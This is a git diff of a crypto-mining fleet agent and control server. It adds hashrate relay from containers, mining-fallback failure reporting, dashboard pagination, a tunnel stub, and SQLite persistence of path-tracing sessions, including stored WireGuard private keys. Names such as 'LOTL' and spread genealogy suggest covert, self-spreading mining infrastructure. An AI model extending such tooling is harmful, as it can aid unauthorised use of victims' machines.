diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..8881bb8 --- /dev/null +++ b/Makefile @@ -0,0 +1,13 @@ +.PHONY: test test-quick test-fast + +# Full suite (Go + Vitest + builds + Playwright). Windows: requires PowerShell. +test: + powershell -NoProfile -ExecutionPolicy Bypass -File scripts/test-suite.ps1 + +# Phases 1–7b without Playwright — default post-landing smoke. +test-quick: + powershell -NoProfile -ExecutionPolicy Bypass -File scripts/test-suite.ps1 -SkipE2E + +# Go + Vitest only. +test-fast: + powershell -NoProfile -ExecutionPolicy Bypass -File scripts/test-suite.ps1 -SkipE2E -SkipBuild diff --git a/PROBLEMS.md b/PROBLEMS.md index 3b5cf22..f9d5841 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -99,14 +99,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. | | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. | -## Product decisions (document-only) - -| Topic | Notes | -|-------|-------| -| Dual storage sync | Session vs localStorage; `aetherforge-auth` on logout; no full cross-tab policy. | -| MatrixRain / CursorFire | Layout mounts effects on all routes; route-gating deferred. | -| CI scope | `.github/workflows/ci-docker-mining.yml` only; no root Makefile test target. | - ## Scrubbed 2026-06-07 (prod garbage removed) | Item | Action | diff --git a/agent/client/client.go b/agent/client/client.go index 7dee1f7..e00ea68 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -1013,6 +1013,19 @@ func (c *AgentClient) stratumEgress(stratumOverlay bool) string { return "none" } +// writeMinerStatsFile persists live hashrate for container host relay (MINER_STATS_FILE env). +func (c *AgentClient) writeMinerStatsFile(hps float64) { + path := strings.TrimSpace(os.Getenv("MINER_STATS_FILE")) + if path == "" { + return + } + payload, err := json.Marshal(map[string]float64{"hashrate_hps": hps}) + if err != nil { + return + } + _ = os.WriteFile(path, payload, 0644) +} + func (c *AgentClient) statsLoop(stop <-chan struct{}) { ticker := time.NewTicker(10 * time.Second) defer ticker.Stop() @@ -1034,6 +1047,12 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { case <-ticker.C: hps := c.pool.HashesPerSecond() c.pool.ResetHashCounter() + if c.hostMiningDisabled.Load() && c.containerMiner != nil && c.containerMiner.Running() { + if ch := c.containerMiner.ProbeHashrate(); ch > 0 { + hps = ch + } + } + c.writeMinerStatsFile(hps) samples = append(samples, hps) if len(samples) > 90 { samples = samples[len(samples)-90:] diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go index a131f74..65eee5f 100644 --- a/agent/client/protocol_test.go +++ b/agent/client/protocol_test.go @@ -115,6 +115,22 @@ func TestStatsPayloadJSONRoundTrip(t *testing.T) { } } +func TestStatsPayloadFailedMethodsJSONRoundTrip(t *testing.T) { + in := StatsPayload{ + Hashrate15s: 0, + ActiveMethod: "inprocess", + FailedMethods: []MethodFailurePayload{ + {Method: "container", Reason: "blocked", At: "2026-06-07T12:00:00Z"}, + }, + ChainExhausted: false, + } + var out StatsPayload + roundTrip(t, in, &out) + if len(out.FailedMethods) != 1 || out.FailedMethods[0].Method != "container" { + t.Fatalf("failed_methods: %+v", out.FailedMethods) + } +} + func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) { in := StatsPayload{ Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1, diff --git a/agent/miner/container_launcher.go b/agent/miner/container_launcher.go index 4c2cae3..a31534b 100644 --- a/agent/miner/container_launcher.go +++ b/agent/miner/container_launcher.go @@ -2,6 +2,7 @@ package miner import ( "bytes" + "encoding/json" "fmt" "log" "os" @@ -15,6 +16,17 @@ import ( const defaultMinerImage = "aetherforge/agent-worker:latest" +// ContainerStatsPath is where the worker writes hashrate for host relay (docker exec cat). +const ContainerStatsPath = "/tmp/miner-stats.json" + +// WorkerImageBuildHint is shown in Forge when container/auto execution is selected. +const WorkerImageBuildHint = "Build worker image: docker build -f docker/Dockerfile.agent -t aetherforge/agent-worker:latest . (override with AETHERFORGE_MINER_IMAGE on host)" + +// DefaultWorkerImage returns the OCI reference used when AETHERFORGE_MINER_IMAGE is unset. +func DefaultWorkerImage() string { + return defaultMinerImage +} + // containerExecCommand is exec.Command; tests override via SetContainerExecCommand. var containerExecCommand = exec.Command @@ -170,6 +182,39 @@ func (l *ContainerLauncher) Running() bool { return l.running } +// ProbeHashrate reads container-side hashrate from ContainerStatsPath via docker/podman exec. +func (l *ContainerLauncher) ProbeHashrate() float64 { + l.mu.Lock() + if !l.running || l.runtime.CLI == "" { + l.mu.Unlock() + return 0 + } + name := l.name + cli := l.runtime.CLI + l.mu.Unlock() + + cmd := containerExecCommand(cli, "exec", name, "cat", ContainerStatsPath) + out, err := cmd.Output() + if err != nil { + return 0 + } + return ParseContainerStatsJSON(out) +} + +// ParseContainerStatsJSON extracts hashrate_hps from worker stats JSON (tests + exec probe). +func ParseContainerStatsJSON(data []byte) float64 { + var snap struct { + HashrateHPS float64 `json:"hashrate_hps"` + } + if err := json.Unmarshal(bytes.TrimSpace(data), &snap); err != nil { + return 0 + } + if snap.HashrateHPS < 0 { + return 0 + } + return snap.HashrateHPS +} + func (l *ContainerLauncher) loadImageFromTar() (string, error) { cmd := containerExecCommand(l.runtime.CLI, "load", "-i", l.tarPath) var buf bytes.Buffer @@ -234,6 +279,7 @@ func (l *ContainerLauncher) containerEnv() []string { "AETHERFORGE_MINER_EXECUTION": ExecutionInProcess, "AETHERFORGE_FLEET_SECRET": l.cfg.FleetSecret, "MINER_LOG_FILE": "/tmp/miner.log", + "MINER_STATS_FILE": ContainerStatsPath, } if l.cfg.RVNWallet != "" { pairs["AETHERFORGE_RVN_WALLET"] = l.cfg.RVNWallet diff --git a/agent/miner/container_launcher_test.go b/agent/miner/container_launcher_test.go index d80ab88..edc93a4 100644 --- a/agent/miner/container_launcher_test.go +++ b/agent/miner/container_launcher_test.go @@ -124,6 +124,7 @@ func TestContainerLauncherStartWithFakeRuntime(t *testing.T) { "AETHERFORGE_MINER_EXECUTION": ExecutionInProcess, "AETHERFORGE_FLEET_SECRET": "fleet-secret", "MINER_LOG_FILE": "/tmp/miner.log", + "MINER_STATS_FILE": ContainerStatsPath, } for k, want := range wantEnv { if got := env[k]; got != want { @@ -292,6 +293,106 @@ func TestContainerLauncherStopInvokesRm(t *testing.T) { } } +func TestDefaultWorkerImageAndBuildHint(t *testing.T) { + if DefaultWorkerImage() != "aetherforge/agent-worker:latest" { + t.Fatalf("DefaultWorkerImage()=%q", DefaultWorkerImage()) + } + if WorkerImageBuildHint == "" || !strings.Contains(WorkerImageBuildHint, "Dockerfile.agent") { + t.Fatalf("WorkerImageBuildHint=%q", WorkerImageBuildHint) + } +} + +func TestParseContainerStatsJSON(t *testing.T) { + if got := ParseContainerStatsJSON([]byte(`{"hashrate_hps":1234.5}`)); got != 1234.5 { + t.Fatalf("got %v", got) + } + if ParseContainerStatsJSON([]byte(`invalid`)) != 0 { + t.Fatal("invalid json should return 0") + } + if ParseContainerStatsJSON([]byte(`{"hashrate_hps":-1}`)) != 0 { + t.Fatal("negative hashrate should return 0") + } +} + +func TestContainerLauncherProbeHashrate(t *testing.T) { + SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { + if len(args) >= 4 && args[0] == "exec" && args[2] == "cat" { + if runtime.GOOS == "windows" { + return exec.Command("powershell", "-NoProfile", "-Command", `Write-Output '{"hashrate_hps":987.6}'`) + } + return exec.Command("sh", "-c", "printf '%s' '{\"hashrate_hps\":987.6}'") + } + if len(args) > 0 && args[0] == "rm" { + return quickExitTestCmd() + } + return longRunningTestCmd() + }) + defer SetContainerExecCommand(nil) + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "probe-test"}} + rt := ContainerRuntimeInfo{Available: true, CLI: "docker"} + launcher, err := NewContainerLauncher(cfg, rt) + if err != nil { + t.Fatal(err) + } + if err := launcher.Start(); err != nil { + t.Fatal(err) + } + defer launcher.Stop() + + if got := launcher.ProbeHashrate(); got != 987.6 { + t.Fatalf("ProbeHashrate()=%v want 987.6", got) + } +} + +func TestContainerLauncherDefaultImageWithoutEnvOverride(t *testing.T) { + t.Setenv("AETHERFORGE_MINER_IMAGE", "") + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "default-img"}} + rt := ContainerRuntimeInfo{Available: true, CLI: "docker"} + launcher, err := NewContainerLauncher(cfg, rt) + if err != nil { + t.Fatal(err) + } + if launcher.Image() != DefaultWorkerImage() { + t.Fatalf("Image()=%q want %q", launcher.Image(), DefaultWorkerImage()) + } +} + +func TestContainerLauncherStatsFileEnv(t *testing.T) { + var gotArgs []string + SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { + if len(args) > 0 && args[0] == "rm" { + return quickExitTestCmd() + } + gotArgs = append([]string(nil), args...) + return longRunningTestCmd() + }) + defer SetContainerExecCommand(nil) + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + BuildID: "stats-env", + Wallet: "XMR:wallet", + PoolHost: "pool.example.com", + PoolPort: 3333, + }, + } + rt := ContainerRuntimeInfo{Available: true, CLI: "docker"} + launcher, err := NewContainerLauncher(cfg, rt) + if err != nil { + t.Fatal(err) + } + if err := launcher.Start(); err != nil { + t.Fatal(err) + } + defer launcher.Stop() + + env := dockerEnvFromArgs(gotArgs) + if env["MINER_STATS_FILE"] != ContainerStatsPath { + t.Fatalf("MINER_STATS_FILE=%q want %q", env["MINER_STATS_FILE"], ContainerStatsPath) + } +} + func TestContainerLauncherGPUFlags(t *testing.T) { var gotArgs []string SetContainerExecCommand(func(name string, args ...string) *exec.Cmd { diff --git a/agent/miner/fallback_chain_test.go b/agent/miner/fallback_chain_test.go index 1556eaf..57154fa 100644 --- a/agent/miner/fallback_chain_test.go +++ b/agent/miner/fallback_chain_test.go @@ -301,6 +301,60 @@ func TestTryChainRunTierHooksPopulatesLOTLFields(t *testing.T) { } } +func TestOnMethodFailedReporterIncludesFailedMethods(t *testing.T) { + var events []string + var last MiningStatus + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto}, + }, ChainHooks{}, func(status MiningStatus, eventType string) { + events = append(events, eventType) + last = status + }) + + ctrl.OnMethodFailed(MethodContainer, "docker blocked") + if len(last.FailedMethods) != 1 { + t.Fatalf("failed_methods=%v", last.FailedMethods) + } + if last.FailedMethods[0].Method != MethodContainer || last.FailedMethods[0].Reason != "docker blocked" { + t.Fatalf("failure=%+v", last.FailedMethods[0]) + } + if last.FailedMethods[0].At == "" { + t.Fatal("expected RFC3339 timestamp on failure") + } + if len(events) != 1 || events[0] != "mining_fallback" { + t.Fatalf("events=%v", events) + } +} + +func TestRestartChainBypassesCooldown(t *testing.T) { + attempts := 0 + hooks := ChainHooks{ + StartInProcess: func() error { + attempts++ + return nil + }, + } + ctrl := NewChainController(config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess}, + }, hooks, nil) + ctrl.chain = []MiningMethod{MethodInProcess} + + if _, err := ctrl.TryChain(context.Background()); err != nil { + t.Fatal(err) + } + if _, err := ctrl.TryChain(context.Background()); err != nil { + t.Fatal(err) + } + if attempts != 1 { + t.Fatalf("attempts=%d want 1 before restart", attempts) + } + + ctrl.RestartChain(context.Background()) + if attempts != 2 { + t.Fatalf("attempts=%d want 2 after RestartChain clears cooldown", attempts) + } +} + func TestTryChainRespectsCooldown(t *testing.T) { attempts := 0 hooks := ChainHooks{ diff --git a/server/internal/api/architecture_deferred_test.go b/server/internal/api/architecture_deferred_test.go new file mode 100644 index 0000000..150d7fa --- /dev/null +++ b/server/internal/api/architecture_deferred_test.go @@ -0,0 +1,50 @@ +package api + +import ( + "os" + "strings" + "testing" +) + +func TestArchitectureDeferredHonestStubs(t *testing.T) { + t.Run("tunnel_stream WS stub", func(t *testing.T) { + src, err := os.ReadFile("websocket.go") + if err != nil { + t.Fatal(err) + } + body := string(src) + if !strings.Contains(body, `case "tunnel_stream":`) || !strings.Contains(body, `"implemented": false`) { + t.Fatal("expected dashboard tunnel_stream not-implemented stub") + } + }) + + t.Run("WS init pagination option", func(t *testing.T) { + src, err := os.ReadFile("dashboard_ws_init.go") + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(src), "init_limit") { + t.Fatal("expected init_limit query param parser") + } + }) + + t.Run("Path Tracer SQLite persistence", func(t *testing.T) { + src, err := os.ReadFile("pathtracer_handler.go") + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(src), "loadPersistedSessions") { + t.Fatal("expected Path Tracer startup restore from SQLite") + } + }) + + t.Run("SQLite single-writer ceiling documented", func(t *testing.T) { + src, err := os.ReadFile("../db/sqlite.go") + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(src), "SetMaxOpenConns(1)") { + t.Fatal("expected SQLite single-writer guard") + } + }) +} diff --git a/server/internal/api/dashboard_ws_init.go b/server/internal/api/dashboard_ws_init.go new file mode 100644 index 0000000..bacca6e --- /dev/null +++ b/server/internal/api/dashboard_ws_init.go @@ -0,0 +1,35 @@ +package api + +import ( + "net/http" + "strconv" + + "crypto-miner-server/internal/db" +) + +const ( + dashboardInitDefaultLimit = 100 + dashboardInitMaxLimit = 2000 +) + +// parseDashboardInitFilter reads optional init_limit / init_offset on /ws/dashboard. +func parseDashboardInitFilter(r *http.Request) (db.AgentListFilter, bool) { + limitStr := r.URL.Query().Get("init_limit") + if limitStr == "" { + return db.AgentListFilter{}, false + } + limit, err := strconv.Atoi(limitStr) + if err != nil || limit <= 0 { + limit = dashboardInitDefaultLimit + } + if limit > dashboardInitMaxLimit { + limit = dashboardInitMaxLimit + } + offset := 0 + if offStr := r.URL.Query().Get("init_offset"); offStr != "" { + if o, err := strconv.Atoi(offStr); err == nil && o >= 0 { + offset = o + } + } + return db.AgentListFilter{Limit: limit, Offset: offset}, true +} diff --git a/server/internal/api/pathtracer_handler.go b/server/internal/api/pathtracer_handler.go index 399a0c8..02ed24c 100644 --- a/server/internal/api/pathtracer_handler.go +++ b/server/internal/api/pathtracer_handler.go @@ -102,10 +102,112 @@ func NewPathTracerHandler(hub *WSHub) *PathTracerHandler { sessions: make(map[string]*TraceSession), stopCh: make(chan struct{}), } + h.loadPersistedSessions() go h.sessionCleanupLoop() return h } +// pathTraceSessionPersist is the SQLite JSON shape (includes WG client keys for QR after restart). +type pathTraceSessionPersist struct { + ID string `json:"id"` + AgentIDs []string `json:"agent_ids"` + Hops []*HopInfo `json:"hops"` + Ready bool `json:"ready"` + Error string `json:"error,omitempty"` + CreatedAt time.Time `json:"created_at"` + ServiceGraph map[string]ServiceGraphHost `json:"service_graph,omitempty"` + DiscoverInProgress bool `json:"discover_in_progress,omitempty"` + DiscoverError string `json:"discover_error,omitempty"` + DiscoveredAt *time.Time `json:"discovered_at,omitempty"` + NetworkHints json.RawMessage `json:"network_hints,omitempty"` + ClientPrivKey string `json:"client_priv_key,omitempty"` + ClientPubKey string `json:"client_pub_key,omitempty"` +} + +func (h *PathTracerHandler) loadPersistedSessions() { + if h.hub == nil || h.hub.db == nil { + return + } + cutoff := time.Now().Add(-pathTraceSessionTTL) + if n, err := h.hub.db.DeleteExpiredPathTraceSessions(cutoff); err == nil && n > 0 { + log.Printf("[pathtrace] startup sweep removed %d expired session(s)", n) + } + rows, err := h.hub.db.ListPathTraceSessions() + if err != nil { + log.Printf("[pathtrace] load sessions failed: %v", err) + return + } + h.mu.Lock() + defer h.mu.Unlock() + for _, row := range rows { + if time.Since(row.CreatedAt) > pathTraceSessionTTL { + _ = h.hub.db.DeletePathTraceSession(row.ID) + continue + } + var rec pathTraceSessionPersist + if err := json.Unmarshal(row.Payload, &rec); err != nil { + _ = h.hub.db.DeletePathTraceSession(row.ID) + continue + } + h.sessions[rec.ID] = &TraceSession{ + ID: rec.ID, + AgentIDs: rec.AgentIDs, + Hops: rec.Hops, + Ready: rec.Ready, + Error: rec.Error, + CreatedAt: rec.CreatedAt, + ServiceGraph: rec.ServiceGraph, + DiscoverInProgress: rec.DiscoverInProgress, + DiscoverError: rec.DiscoverError, + DiscoveredAt: rec.DiscoveredAt, + NetworkHints: rec.NetworkHints, + clientPrivKey: rec.ClientPrivKey, + clientPubKey: rec.ClientPubKey, + } + } + if len(rows) > 0 { + log.Printf("[pathtrace] restored %d session(s) from SQLite", len(h.sessions)) + } +} + +func (h *PathTracerHandler) persistSession(sess *TraceSession) { + if h.hub == nil || h.hub.db == nil || sess == nil { + return + } + h.mu.Lock() + rec := pathTraceSessionPersist{ + ID: sess.ID, + AgentIDs: sess.AgentIDs, + Hops: sess.Hops, + Ready: sess.Ready, + Error: sess.Error, + CreatedAt: sess.CreatedAt, + ServiceGraph: sess.ServiceGraph, + DiscoverInProgress: sess.DiscoverInProgress, + DiscoverError: sess.DiscoverError, + DiscoveredAt: sess.DiscoveredAt, + NetworkHints: sess.NetworkHints, + ClientPrivKey: sess.clientPrivKey, + ClientPubKey: sess.clientPubKey, + } + h.mu.Unlock() + raw, err := json.Marshal(rec) + if err != nil { + log.Printf("[pathtrace] marshal session %s: %v", sess.ID[:min(8, len(sess.ID))], err) + return + } + if err := h.hub.db.UpsertPathTraceSession(sess.ID, sess.CreatedAt, raw); err != nil { + log.Printf("[pathtrace] persist session %s: %v", sess.ID[:min(8, len(sess.ID))], err) + } +} + +func (h *PathTracerHandler) deletePersistedSession(id string) { + if h.hub == nil || h.hub.db == nil || id == "" { + return + } + _ = h.hub.db.DeletePathTraceSession(id) +} + func (h *PathTracerHandler) sessionCleanupLoop() { ticker := time.NewTicker(pathTraceCleanupInterval) defer ticker.Stop() @@ -133,6 +235,7 @@ func (h *PathTracerHandler) expireSessions() { for _, sess := range expired { log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL) h.teardownHops(sess.Hops) + h.deletePersistedSession(sess.ID) } } @@ -201,6 +304,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) { h.mu.Lock() h.sessions[sess.ID] = sess h.mu.Unlock() + h.persistSession(sess) // Orchestrate asynchronously so the HTTP response returns quickly. go h.orchestrate(sess) @@ -301,6 +405,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) { h.mu.Lock() delete(h.sessions, id) h.mu.Unlock() + h.deletePersistedSession(id) writeJSON(w, map[string]interface{}{"ok": true}) } @@ -777,6 +882,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) { } log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady) + h.persistSession(sess) } func (h *PathTracerHandler) teardownHops(hops []*HopInfo) { diff --git a/server/internal/api/pathtracer_persist_test.go b/server/internal/api/pathtracer_persist_test.go new file mode 100644 index 0000000..e65e76e --- /dev/null +++ b/server/internal/api/pathtracer_persist_test.go @@ -0,0 +1,48 @@ +package api + +import ( + "testing" + "time" + + "crypto-miner-server/internal/db" +) + +func TestPathTracerSessionSurvivesHandlerRestart(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + + sess := &TraceSession{ + ID: "sess-restart-abcdef12", + AgentIDs: []string{"agent-1"}, + CreatedAt: time.Now().Add(-10 * time.Minute), + Ready: true, + clientPrivKey: "PRIV", + clientPubKey: "PUB", + Hops: []*HopInfo{{ + AgentID: "agent-1", + AgentName: "Hop One", + ExternalIP: "203.0.113.10", + Port: 51820, + Status: HopReady, + }}, + } + + h1 := NewPathTracerHandler(hub) + h1.mu.Lock() + h1.sessions[sess.ID] = sess + h1.mu.Unlock() + h1.persistSession(sess) + + h2 := NewPathTracerHandler(hub) + restored := h2.getSession(sess.ID) + if restored == nil { + t.Fatal("session missing after handler restart") + } + if !restored.Ready || restored.clientPubKey != "PUB" { + t.Fatalf("restored session incomplete: ready=%v pub=%q", restored.Ready, restored.clientPubKey) + } +} diff --git a/server/internal/api/testdata/ws_types_fixture.json b/server/internal/api/testdata/ws_types_fixture.json index 09a8873..df4f348 100644 --- a/server/internal/api/testdata/ws_types_fixture.json +++ b/server/internal/api/testdata/ws_types_fixture.json @@ -1,6 +1,9 @@ { "WSDashboardInit": [ - "agents" + "agents", + "limit", + "offset", + "total" ], "WSAgentOffline": [ "agent_id" diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index b00e00b..c6e4899 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -241,8 +241,7 @@ func (h *WSHub) runStaleAgentSweep() { if h.db == nil { return } - const staleness = 3 * time.Minute - ticker := time.NewTicker(45 * time.Second) + ticker := time.NewTicker(StaleAgentSweepInterval) defer ticker.Stop() for range ticker.C { // Only sweep agents that are NOT currently connected in memory. @@ -254,15 +253,12 @@ func (h *WSHub) runStaleAgentSweep() { } h.mu.RUnlock() - agents, err := h.db.ListAgents() + agents, err := h.db.ListStaleOnlineAgents(StaleAgentThreshold) if err != nil { continue } for _, a := range agents { - if a == nil || a.Status != "online" || liveIDs[a.ID] { - continue - } - if time.Since(a.LastSeen) < staleness { + if a == nil || liveIDs[a.ID] { continue } // Row claims online, no live socket, last_seen is stale — fix it. @@ -1672,7 +1668,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { // Send initial data — reconcile DB status against live hub state so a // freshly loaded dashboard never shows stale "online" phantoms. - agents, _ := h.db.ListAgents() + initFilter, paginated := parseDashboardInitFilter(r) + var agents []*models.Agent + var initTotal int + if paginated { + agents, _ = h.db.ListAgentsFiltered(initFilter) + initTotal, _ = h.db.CountAgentsFiltered(initFilter) + } else { + agents, _ = h.db.ListAgents() + } h.enrichAgentsCapabilities(agents) for _, a := range agents { if a == nil { @@ -1687,10 +1691,16 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { } stats, _ := h.db.GetFleetStats() - _ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{ + initPayload := map[string]interface{}{ "agents": agents, "stats": stats, - })}) + } + if paginated { + initPayload["total"] = initTotal + initPayload["limit"] = initFilter.Limit + initPayload["offset"] = initFilter.Offset + } + _ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(initPayload)}) _ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{ "comrades": h.presenceSnapshotLocked(), })}) @@ -1733,14 +1743,17 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { continue } h.broadcastNotesTyping(username, body.Active) + case "tunnel_stream": + _ = dc.WriteJSON(Message{Type: "tunnel_stream", Payload: mustMarshal(map[string]interface{}{ + "implemented": false, + "error": "tunnel_stream TCP reverse relay is not implemented; use tunnel_cloudflared or tunnel_ssh_forward on fleet agents", + })}) } } } -const statsBatchInterval = 250 * time.Millisecond - // mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the -// same 250ms window both land in one stats_batch update for dashboards. +// same coalesce window both land in one stats_batch update for dashboards. func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage { var base, patch map[string]interface{} if json.Unmarshal(existing, &base) != nil || base == nil { @@ -1795,7 +1808,7 @@ func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) { h.statsBatch[agentID] = data h.cacheAgentTelemetry(agentID, payload) if h.statsBatchTimer == nil { - h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch) + h.statsBatchTimer = time.AfterFunc(StatsBatchCoalesceInterval, h.flushStatsBatch) } h.statsBatchMu.Unlock() } diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index 8beecec..e604f3e 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -186,6 +186,116 @@ func TestHandleDashboardWSAuthorizedInit(t *testing.T) { } } +func TestHandleDashboardWSInitLimit(t *testing.T) { + resetWSAuthUsers(t, testAuthUser, testAuthPass) + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + + for i := 0; i < 5; i++ { + if err := database.UpsertAgent(&models.Agent{ + ID: fmt.Sprintf("agent-%d", i), + Name: fmt.Sprintf("Worker %d", i), + Status: "offline", + LastSeen: time.Now(), + }); err != nil { + t.Fatal(err) + } + } + + srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + t.Cleanup(srv.Close) + + wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + "&init_limit=2&init_offset=1" + conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + t.Fatalf("dial: %v", err) + } + t.Cleanup(func() { _ = conn.Close() }) + + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + t.Fatalf("read init: %v", err) + } + if msg.Type != "init" { + t.Fatalf("expected init, got %q", msg.Type) + } + var body map[string]interface{} + if err := json.Unmarshal(msg.Payload, &body); err != nil { + t.Fatal(err) + } + agents, _ := body["agents"].([]interface{}) + if len(agents) != 2 { + t.Fatalf("expected 2 agents in init page, got %d", len(agents)) + } + if int(body["total"].(float64)) != 5 { + t.Fatalf("total=%v want 5", body["total"]) + } + if int(body["limit"].(float64)) != 2 || int(body["offset"].(float64)) != 1 { + t.Fatalf("limit/offset = %v/%v", body["limit"], body["offset"]) + } +} + +func TestHandleDashboardWSTunnelStreamStub(t *testing.T) { + resetWSAuthUsers(t, testAuthUser, testAuthPass) + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + + srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + t.Cleanup(srv.Close) + + wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + t.Fatalf("dial: %v", err) + } + t.Cleanup(func() { _ = conn.Close() }) + + // Drain init + presence_snapshot. + for i := 0; i < 2; i++ { + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + t.Fatalf("read bootstrap %d: %v", i, err) + } + } + + if err := conn.WriteJSON(Message{Type: "tunnel_stream", Payload: json.RawMessage(`{"port":8989}`)}); err != nil { + t.Fatal(err) + } + deadline := time.Now().Add(2 * time.Second) + for { + if time.Now().After(deadline) { + t.Fatal("timed out waiting for tunnel_stream response") + } + var resp Message + if err := conn.ReadJSON(&resp); err != nil { + t.Fatal(err) + } + if resp.Type != "tunnel_stream" { + continue + } + var body map[string]interface{} + if err := json.Unmarshal(resp.Payload, &body); err != nil { + t.Fatal(err) + } + if body["implemented"] != false { + t.Fatalf("expected implemented=false, got %+v", body) + } + if _, ok := body["error"].(string); !ok { + t.Fatalf("expected error string, got %+v", body) + } + break + } +} + func resetWSAuthUsersMulti(t *testing.T, creds map[string]string) { t.Helper() users := make(map[string]string, len(creds)) @@ -795,6 +905,105 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { } } +func TestStatsBatchRelaysFailedMethods(t *testing.T) { + resetWSAuthUsers(t, testAuthUser, testAuthPass) + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + + dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + t.Cleanup(dashSrv.Close) + dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil) + if err != nil { + t.Fatalf("dial dashboard: %v", err) + } + t.Cleanup(func() { _ = dashConn.Close() }) + + type batchResult struct { + updates []map[string]interface{} + err string + } + batchCh := make(chan batchResult, 1) + go func() { + _ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second)) + for { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + batchCh <- batchResult{err: err.Error()} + return + } + if msg.Type != "stats_batch" { + continue + } + var body struct { + Updates []json.RawMessage `json:"updates"` + } + if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil { + batchCh <- batchResult{err: parseErr.Error()} + return + } + updates := make([]map[string]interface{}, 0, len(body.Updates)) + for _, raw := range body.Updates { + var u map[string]interface{} + if json.Unmarshal(raw, &u) != nil { + continue + } + updates = append(updates, u) + } + if len(updates) < 1 { + continue + } + batchCh <- batchResult{updates: updates} + return + } + }() + + agentID := "failed-methods-agent" + conn := connectTestAgent(t, hub, agentID) + statsPayload, _ := json.Marshal(map[string]interface{}{ + "hashrate_15s": 0.0, + "active_method": "inprocess", + "chain_exhausted": false, + "failed_methods": []map[string]interface{}{ + {"method": "container", "reason": "image not found", "at": "2026-06-07T12:00:00Z"}, + {"method": "docker_load", "reason": "no tar", "at": "2026-06-07T12:00:01Z"}, + }, + }) + if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil { + t.Fatal(err) + } + stopStatsBatchTimer(hub) + hub.flushStatsBatch() + + select { + case r := <-batchCh: + if r.err != "" { + t.Fatalf("dashboard did not receive stats_batch: %s", r.err) + } + if len(r.updates) != 1 { + t.Fatalf("expected 1 update, got %d: %+v", len(r.updates), r.updates) + } + u := r.updates[0] + if u["agent_id"] != agentID { + t.Errorf("agent_id = %v", u["agent_id"]) + } + failed, ok := u["failed_methods"].([]interface{}) + if !ok || len(failed) != 2 { + t.Fatalf("failed_methods = %T %v", u["failed_methods"], u["failed_methods"]) + } + first, _ := failed[0].(map[string]interface{}) + if first["method"] != "container" || 